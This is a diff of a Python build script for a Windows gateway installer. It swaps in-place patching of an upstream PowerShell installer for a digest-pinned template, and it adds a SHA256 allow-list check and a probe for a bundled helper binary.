# The standalone package's own install.ps1 (pocketshell-tui-client
|
|
223
|
+
# scripts/windows/install.ps1 at the workflow's CLIENT_REF). It is replaced by
|
|
224
|
+
# scripts/release/psc-install.ps1; a different upstream script must be reviewed
|
|
225
|
+
# for changes the replacement has to carry over before this pin moves.
|
|
226
|
+
UPSTREAM_PSC_INSTALL_SHA256 = "f22200ddc623459c1a6bb522438ee241aa3367459020a774c8fd6b1abf8542e3"
|
|
227
|
+
PSC_INSTALL_TEMPLATE = REPO / "scripts/release/psc-install.ps1"
|
|
228
|
+
|
|
229
|
+
|
|
230
|
+
def configure_offline_psc(destination, ssh_sha256):
|
|
231
|
+
"""Install PSC with the tray's own content-addressed, atomic installer.
|
|
232
|
+
|
|
233
|
+
Re-running any installer over any existing PSC install must succeed: the
|
|
234
|
+
tree is named by content, a verified tree is reused, anything else is
|
|
235
|
+
rebuilt in staging and published by rename, and the shim switches last.
|
|
236
|
+
"""
|
|
208
237
|
script = destination / "install.ps1"
|
|
209
|
-
|
|
210
|
-
old = 'param([string]$SshPath = "$env:SystemRoot\\System32\\OpenSSH\\ssh.exe")'
|
|
211
|
-
new = ('param([string]$SshPath, [ValidatePattern("^gateway-ssh[0-9]+$")]'
|
|
212
|
-
'[string]$InstallVariant = "gateway-ssh10")')
|
|
213
|
-
prefix = '$dest = "$base\\$($manifest.version)"'
|
|
214
|
-
if text.count(old) != 1 or text.count(prefix) != 1:
|
|
238
|
+
if digest(script) != UPSTREAM_PSC_INSTALL_SHA256:
|
|
215
239
|
raise ValueError("PSC installer changed; review the offline adaptation")
|
|
216
|
-
# PowerShell 5 Set-Acl tries to write auditing on an existing protected
|
|
217
|
-
# object and can require SeSecurityPrivilege. The .NET object method writes
|
|
218
|
-
# only the owner/DACL sections changed above, with identical private ACEs.
|
|
219
|
-
text = text.replace('Set-Acl -LiteralPath $Path -AclObject $acl', '$item.SetAccessControl($acl)')
|
|
220
|
-
env_write = "[Environment]::SetEnvironmentVariable('Path', (($oldPath.TrimEnd(';') + ';' + $bin).TrimStart(';')), 'User')"
|
|
221
|
-
text = text.replace(env_write, "try { " + env_write + " } catch [System.Security.SecurityException] { "
|
|
222
|
-
"Write-Warning 'User PATH is read-only. Launch PSC Terminal from the Start menu.' }")
|
|
223
|
-
script.write_text(text.replace(old, new).replace(prefix,
|
|
224
|
-
'$dest = "$base\\$($manifest.version)-$InstallVariant"'), encoding="utf-8")
|
|
225
240
|
manifest_path = destination / "package-manifest.json"
|
|
226
241
|
manifest = json.loads(manifest_path.read_text())
|
|
242
|
+
content_id = psc_content_id(manifest, ssh_sha256)
|
|
243
|
+
template = PSC_INSTALL_TEMPLATE.read_text(encoding="utf-8")
|
|
244
|
+
if template.count("'@CONTENT_ID@'") != 1:
|
|
245
|
+
raise ValueError("PSC installer template has no content id placeholder")
|
|
246
|
+
script.write_bytes(template.replace("@CONTENT_ID@", content_id).encode("utf-8"))
|
|
227
247
|
manifest["files"]["install.ps1"] = digest(script)
|
|
228
248
|
manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
|
|
249
|
+
return content_id
|
|
229
250
|
|
|
230
251
|
|
|
231
252
|
def stage_private_backend(source, receipt_sha256, root, catalog):
|
|
@@ -251,6 +272,44 @@ def stage_private_backend(source, receipt_sha256, root, catalog):
|
|
|
251
272
|
return {"receiptSHA256": receipt_sha256, "files": doc["files"], "source": doc["source"]}
|
|
252
273
|
|
|
253
274
|
|
|
275
|
+
def stage_helper(helper, expected_sha256, version, root, catalog):
|
|
276
|
+
"""Replace the BASE closure's pocketshell-link with a reviewed newer build.
|
|
277
|
+
|
|
278
|
+
The digest must be on the Windows allow-list, so the installed guardian
|
|
279
|
+
and wrapper will accept what this installer ships.
|
|
280
|
+
"""
|
|
281
|
+
from pocketshell.gateway.helper import WINDOWS_HELPER_SHA256
|
|
282
|
+
from pocketshell.gateway.service_windows import ALLOWED_HELPER_SHA256
|
|
283
|
+
|
|
284
|
+
helper = Path(helper)
|
|
285
|
+
if digest(helper) != expected_sha256:
|
|
286
|
+
raise ValueError("The helper differs from its expected SHA256")
|
|
287
|
+
if expected_sha256 not in ALLOWED_HELPER_SHA256 or expected_sha256 != WINDOWS_HELPER_SHA256:
|
|
288
|
+
raise ValueError("The helper is not the reviewed Windows build pinned by this CLI")
|
|
289
|
+
rows = [row for row in catalog["files"] if row["role"] == "helper"]
|
|
290
|
+
if len(rows) != 1:
|
|
291
|
+
raise ValueError("The base catalog has no single helper")
|
|
292
|
+
target = root / rows[0]["path"]
|
|
293
|
+
if not target.is_file():
|
|
294
|
+
raise ValueError("The base closure has no helper file")
|
|
295
|
+
shutil.copyfile(helper, target)
|
|
296
|
+
catalog["lineage"]["helper"] = {"version": version, "sha256": expected_sha256}
|
|
297
|
+
return {"path": rows[0]["path"], "sha256": expected_sha256, "version": version}
|
|
298
|
+
|
|
299
|
+
|
|
300
|
+
def gateway_auth_probe(helper, timeout=30):
|
|
301
|
+
"""Prove the bundled helper answers `gateway-auth show --json`."""
|
|
302
|
+
with tempfile.TemporaryDirectory() as scratch:
|
|
303
|
+
proc = subprocess.run([str(helper), "gateway-auth", "show", "--json", "--config-dir", scratch],
|
|
304
|
+
capture_output=True, timeout=timeout)
|
|
305
|
+
if proc.returncode != 0:
|
|
306
|
+
raise ValueError("The bundled helper does not support gateway-auth")
|
|
307
|
+
doc = json.loads(proc.stdout)
|
|
308
|
+
if doc.get("policy") != "host" or doc.get("source") != "default":
|
|
309
|
+
raise ValueError("The bundled helper reported an unexpected gateway-auth default")
|
|
310
|
+
return doc
|
|
311
|
+
|
|
312
|
+
|
|
254
313
|
def stage_guardian(root, catalog):
|
|
255
314
|
from pocketshell.gateway import service_endpoint as ep
|
|
256
315
|
source = REPO / "release/inputs/guardian-servicing"
|
|
@@ -282,7 +341,8 @@ def build(args):
|
|
|
282
341
|
root = out / "payload" / "runtime"
|
|
283
342
|
psc_receipt = stage_psc(args.psc_zip, args.psc_sha256, out / "payload" / "psc-package")
|
|
284
343
|
psc_receipt["sshClient"] = stage_ssh_client(args.ssh_zip, args.ssh_sha256, out / "payload" / "psc-ssh")
|
|
285
|
-
configure_offline_psc(out / "payload" / "psc-package"
|
|
344
|
+
psc_receipt["contentId"] = configure_offline_psc(out / "payload" / "psc-package",
|
|
345
|
+
psc_receipt["sshClient"]["sshSHA256"])
|
|
286
346
|
psc_receipt["installVariant"] = "gateway-ssh10"
|
|
287
347
|
psc_receipt["adaptedInstallerSHA256"] = digest(out / "payload" / "psc-package/install.ps1")
|
|
288
348
|
shutil.copytree(source / "runtime", root)
|
|
@@ -324,6 +384,9 @@ def build(args):
|
|
|
324
384
|
entries[rel.as_posix()] = p.read_bytes()
|
|
325
385
|
write_zip(root / "python/app.zip", entries)
|
|
326
386
|
stage_guardian(root, catalog)
|
|
387
|
+
helper_receipt = stage_helper(args.helper, args.helper_sha256, args.helper_version, root, catalog)
|
|
388
|
+
if sys.platform == "win32":
|
|
389
|
+
gateway_auth_probe(root / helper_receipt["path"])
|
|
327
390
|
aplexer_receipt = stage_aplexer(args.aplexer_cli_wheel, args.aplexer_client_wheel, root)
|
|
328
391
|
commit = subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO, text=True).strip()
|
|
329
392
|
catalog = copy.deepcopy(catalog)
|
|
@@ -359,6 +422,7 @@ def build(args):
|
|
|
359
422
|
"installerBytes": exe.stat().st_size, "files": len(catalog["files"]),
|
|
360
423
|
"aplexerSHA256": digest(root / "python/a.exe"), "launcherSHA256": digest(root / "GatewayTray.exe")}
|
|
361
424
|
receipt["aplexer"] = aplexer_receipt
|
|
425
|
+
receipt["helper"] = helper_receipt
|
|
362
426
|
receipt["psc"] = psc_receipt
|
|
363
427
|
receipt["privateEndpoint"] = backend_receipt
|
|
364
428
|
(out / "installer-receipt.json").write_text(json.dumps(receipt, indent=2))
|
|
@@ -378,6 +442,9 @@ if __name__ == "__main__":
|
|
|
378
442
|
parser.add_argument("--ssh-sha256", required=True, help="Expected SHA256 of the OpenSSH zip")
|
|
379
443
|
parser.add_argument("--endpoint-backend", required=True, help="Complete owned private-shell OpenSSH rebuild")
|
|
380
444
|
parser.add_argument("--endpoint-backend-receipt-sha256", required=True)
|
|
445
|
+
parser.add_argument("--helper", required=True, help="Reviewed pocketshell-link Windows build (release/inputs)")
|
|
446
|
+
parser.add_argument("--helper-sha256", required=True, help="Expected SHA256 of the helper")
|
|
447
|
+
parser.add_argument("--helper-version", required=True, help="Helper version for the catalog lineage")
|
|
381
448
|
parser.add_argument("--makensis", required=True)
|
|
382
449
|
parser.add_argument("--out", required=True)
|
|
383
450
|
build(parser.parse_args())
|